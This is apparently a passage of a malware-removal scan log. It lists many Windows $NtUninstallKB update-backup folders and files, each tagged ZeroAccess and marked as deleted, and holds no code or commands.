    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2709162$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2712808$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2712808$\localspl.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2712808$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2712808$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2712808$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2712808$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2712808$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2718523$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718523$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718523$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718523$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718523$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2718523$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718523$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2718704$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718704$\crypt32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718704$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718704$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718704$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718704$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2718704$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2718704$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2719985$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2719985$\msxml3.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2719985$\msxml6.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2719985$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2719985$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2719985$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2719985$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2719985$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2723135$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2723135$\rdpwd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2723135$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2723135$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2723135$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2723135$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2723135$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2724197$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2724197$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2724197$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2727528$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2727528$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2727528$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2727528$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2727528$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2727528$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2727528$\synceng.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2731847$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2731847$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2731847$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2731847$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2731847$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2731847$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2731847$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2736233$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2736233$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2736233$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2736233$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2736233$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2736233$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2736233$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2749655$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2749655$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2749655$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2749655$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2749655$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2749655$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2749655$\wintrust.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2753842$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2753842$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2753842-v2$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842-v2$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842-v2$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842-v2$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842-v2$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2753842-v2$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2753842-v2$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2756822$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2756822$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2756822$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2756822$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2756822$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2756822$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2756822$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2756822$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2756822$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2757638$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2757638$\msxml6.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2757638$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2757638$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2757638$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2757638$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2757638$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2758857$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2758857$\kernel32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2758857$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2758857$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2758857$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2758857$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2758857$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2761226$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2761226$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2761226$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2761226$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2761226$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2761226$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2761226$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2770660$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2770660$\dpnet.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2770660$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2770660$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2770660$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2770660$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2770660$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2778344$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2778344$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2778344$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2778344$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2778344$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2778344$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2778344$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2779030$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779030$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779030$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779030$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779030$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2779030$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779030$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2779562$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779562$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779562$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779562$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779562$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779562$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779562$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2779562$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2779562$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2780091$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2780091$\mpg2splt.ax -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2780091$\quartz.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2780091$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2780091$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2780091$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2780091$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2780091$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2799494$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2799494$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2799494$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2802968$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2802968$\oleaut32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2802968$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2802968$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2802968$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2802968$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2802968$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2807986$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2807986$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2807986$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2807986$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2807986$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2807986$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2807986$\usb8023.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2808735$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2808735$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2808735$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2808735$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2808735$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2808735$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2808735$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2813170$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813170$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2813170$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2813345$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813345$\lhmstscx.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813345$\mstscax.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813345$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813345$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813345$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2813345$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2813345$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2820197$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820197$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820197$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820197$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820197$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820197$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2820197$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2820917$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820917$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820917$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820917$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820917$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2820917$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2820917$\winsrv.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2829361$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2829361$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2829361$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2829361$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2829361$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2829361$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2829361$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2834886$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834886$\spuninst\KB2834886.asms -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834886$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834886$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834886$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834886$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2834886$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2834904-v2_WM11$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904-v2_WM11$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904-v2_WM11$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904-v2_WM11$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904-v2_WM11$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2834904-v2_WM11$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904-v2_WM11$\wmvdecod.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2834904_WM11$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904_WM11$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904_WM11$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904_WM11$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904_WM11$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2834904_WM11$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2834904_WM11$\wmvdecod.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2839229$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2839229$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2839229$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2845187$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2845187$\qedit.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2845187$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2845187$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2845187$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2845187$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2845187$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2847311$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2847311$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2847311$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2847311$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2847311$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2847311$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2847311$\spuninst -> Deleted

